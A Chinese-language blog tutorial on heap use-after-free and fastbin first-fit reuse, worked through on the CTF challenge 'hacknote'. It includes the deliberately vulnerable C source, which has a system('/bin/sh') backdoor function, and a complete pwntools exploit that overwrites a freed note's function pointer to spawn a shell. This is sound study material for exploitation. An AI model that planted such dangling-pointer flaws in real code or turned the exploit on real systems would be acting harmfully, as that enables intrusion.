Heap-study uaf &&first fit

发布于 2021-03-19  64 次阅读


Use After Free

简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。(悬挂指针)

#include <stdio.h>
#include <stdlib.h>
typedef struct name {
  char *myname;
  void (*func)(char *str);//定义一个函数指针 指向一个无返回值 函数参数为(char * str)指针的函数
} NAME;
void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }
int main() {
  NAME *a;//定义一个结构体指针
  a = (NAME *)malloc(sizeof(struct name));
  a->func = myprint;//属于a结构体的函数指针func 指向myprint函数
  a->myname = "I can also use it";//myname函数指向 字符串
  a->func("this is my function");//因为func指向的是myprint 所以=打印这句字符串
  // free without modify
  free(a);//释放结构体 但是并未null
  a->func("I can also use it");//释放了a 因为uaf漏洞 所以a->func还是指向myprint函数还可以打印
  // free with modify 因为没有a未置null
  a->func = printmyname;//重新指向 printmyname
  a->func("this is my function");
  // set NULL
  a = NULL;
  printf("this pogram will crash...\n");
  a->func("can not be printed...");//不能使用了
}

结果:

➜  use_after_free git:(use_after_free) ✗ ./use_after_free                      
this is my function
I can also use it
call print my name
this pogram will crash...
[1]    38738 segmentation fault (core dumped)  ./use_after_free

例题:

源代码:

#coding = utf8
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
struct note {
    void (*printnote)();//无返回值 无形参 函数指针  指针名printnote
    char *content ;
};

struct note *notelist[5];//创建一个大小为5的结构体指针
int count = 0; 

void print_note_content(struct note *this){//形参 为结构体指针 传参传入结构体指针
    puts(this->content);//打印 结构体中的content指针 指向的字符串
}
void add_note(){
    int i ;
    char buf[8];
    int size ;
    if(count > 5){
        puts("Full");
        return ;
    }
    for(i = 0 ; i < 5 ; i ++){
        if(!notelist[i]){//notelist[i]存的是指向的地址
            notelist[i] = (struct note*)malloc(sizeof(struct note));//给每个结构体申请空间
            if(!notelist[i]){//如果未指向内容 报错退出
                puts("Alloca Error");
                exit(-1);
            }
            notelist[i]->printnote = print_note_content;//使结构体notelist[i]的printnote 函数指针指向print_note_content 函数
            printf("Note size :");
            read(0,buf,8);//读入note 大小
            size = atoi(buf);//自动转换为整型
            notelist[i]->content = (char *)malloc(size);//给结构体中content指针指向的字符串分配内存大小
            if(!notelist[i]->content){//如果并未指向 或者分配内存失败退出
                puts("Alloca Error");
                exit(-1);
            }
            printf("Content :");
            read(0,notelist[i]->content,size);//读入字符串 并且content 指向字符串
            puts("Success !");
            count++;//所存note个数+1
            break;
        }
    }
}

void del_note(){
    char buf[4];
    int idx ;
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= count){
        puts("Out of bound!");
        _exit(0);
    }
    if(notelist[idx]){
        free(notelist[idx]->content);//释放申请空间
        free(notelist[idx]);//相当于删除节点
        puts("Success");//但是结构体notelist未置为 null 存在悬挂指针 漏洞uaf 指向内存区域的指针还可以使用
    }
}

void print_note(){
    char buf[4];
    int idx ;
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= count){
        puts("Out of bound!");
        _exit(0);
    }
    if(notelist[idx]){
        notelist[idx]->printnote(notelist[idx]);//调用printnote 打印content内容 printnote 是指向print_note_content函数可以等价使用
                                        }
}
void magic(){
    system("/bin/sh");
}


void menu(){
    puts("----------------------");
    puts("       HackNote       "); 
    puts("----------------------");
    puts(" 1. Add note          ");
    puts(" 2. Delete note       ");
    puts(" 3. Print note        ");
    puts(" 4. Exit              ");
    puts("----------------------");
    printf("Your choice :");
};

int main(){
    setvbuf(stdout,0,2,0);
    setvbuf(stdin,0,2,0);
    char buf[4];
    while(1){
        menu();
        read(0,buf,4);
        switch(atoi(buf)){
            case 1 :
                add_note();
                break ;
            case 2 :
                del_note();
                break ;
            case 3 :
                print_note();
                break ;
            case 4 :
                exit(0);
                break ;
            default :
                puts("Invalid choice");
                break ;

        }
    }
    return 0;
}

可以利用use after free 来达到我们的目的 这里只是释放内存 并没有将指针置为NULL 存在uaf漏洞可以使用

image-20210309200331560

且因为申请的note大小为 8字节 根据堆的性质 申请chunk 小于最小申请 按16字节大小申请(最小)

所以free 后肯定是存在fastbin 中

每个note的申请 过程

   +-----------------+                       
   |   put           |                       
   +-----------------+                       
   |   content       |       size              
   +-----------------+------------------->+----------------+
                                          |     real       |
                                          |    content     |
                                          |                |
                                          +----------------+

先申请4+4=8字节来存放 指向函数put和指向content 的两个指针

再根据size 大小来申请内存 可以存放字符串 content 大小

先申请两个note 实验看

image-20210309194429207

这里add 是写的函数封装好的

image-20210309194745200

查看申请的堆

image-20210309194821350
image-20210309194948446

这里 0x11 和0x19 是因为堆结构 chunk_size 中 A|M|P 判断 P为前一个chunk是否被分配的判断所以看到

chunk_size 要比chunk 大一个字节

这里0x9153000 是第一个chunk 存放note0 的结构体指针

image-20210309195735520

这个地址指向的是 这个函数image-20210309195847779

后面 0x09153018 为结构体中 content 指针 指向的 存入的字符串 这里我们申请的大小是0x10

实际chunk 的大小为 0x18 大了0x8 个字节

image-20210309200049813

这里0x00000a61 为小端序倒叙储存 0xa 为换行符号 61 为a

原程序中的后门函数

image-20210310115507767
  • 我们如果可以修改地址把指向 print_note_content 的指针指向 magic函数

通过调用magic函数我们便可以得到shell

但是结构体指针我们基本不能 因为我们只能改变输入的content 的内容

这里又有uaf 漏洞,虽然free 了 原来指向 print_note_content 函数地址的那片区域 填上其他函数的地址

仍然可以使用 意思仍可以正常调用那区域上所写的函数地址

所以我们需要把原来note0 存放结构体指针的chunk 申请成存放content的这样就可以任意修改原存放

print_note_content 地址区域的内容

image-20210309203517534

这里先 free 一下note0 和 note1 体会一下 什么是uaf

image-20210309202120374

这里我们刚刚申请的chunk 已经成功被释放 根据大小被分配到 fastbin 中

因为 fastbins是 LIFO结构 与栈类似(先进后出) 0x955b000先进去 后出来 **

所以 再申请大小为0x10 的 chunk时

根据堆的分配原则 是按顺序 先从fastbins 中拿出大小为0x10 地址为 0x955b028的chunk

若还需要大小为0x10 的chunk 再拿出 地址为0x955b000

这里我们就可以利用uaf 漏洞

add(0x8) 申请大小为0x8 的content 实际大小是0x10(因为实际的chunk 要比申请的size大0x8)

根据原代码 这里是先申请note 的chunk 再申请content 大小为size 的chunk

所以 新申请的note2 会从fastbins中按顺序分配 原来 起始为:0x955b028 chunk 就是占用原来note1 所用的空间

而note2 的content 会申请到原来 note0 所用的空间 我们可以修改输入的content的值

所以可以把以前存print_note_content 地方 填上magic的地址 一样可以调用

image-20210309204745527
image-20210309210322229

成功把地址改为magic 我们只需要调用即可

image-20210310114820351

在原代码中发现 print_note 调用了 printnote 指向原来的print_note_content 函数空间

所以现在调用print_note 函数既可以调用现在的magic

image-20210310115632799

成功

完整exp

#coding = utf8
from pwn import  *
from LibcSearcher import LibcSearcher
context.log_level = 'DEBUG'
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
binary = './hacknote'
context.binary = binary
elf = ELF(binary,checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
n = input()
if n==1:
    p=process(binary)
elif n==2:
    p=remote('node3.buuoj.cn',28552)
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

magic = p32(elf.sym['magic'])
def dbg():
    gdb.attach(p)
    pause()

def add(size,name='a'):
    sla(':','1')
    sla(':',str(size))
    sla(':',name)

def Del(index):
    sla(':','2')
    sla(':',str(index))

def show(index):
    sla(':','3')
    sla(':',str(index))
magic = p32(elf.sym['magic'])
add(0x10)
add(0x10)
Del(0)
Del(1)
add(0x8,magic)
show(0)
#dbg()
itr()

以上粗略理解 有错误请指正


山鸟和鱼不同路,从此山水不相逢